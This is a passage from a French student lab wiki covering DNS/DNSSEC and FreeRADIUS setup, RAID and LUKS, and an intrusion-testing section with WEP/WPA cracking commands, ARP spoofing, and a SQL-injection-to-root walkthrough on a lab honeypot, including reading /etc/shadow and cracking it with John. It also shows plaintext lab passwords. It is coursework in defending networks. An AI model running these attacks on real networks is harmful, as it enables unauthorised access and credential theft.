On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
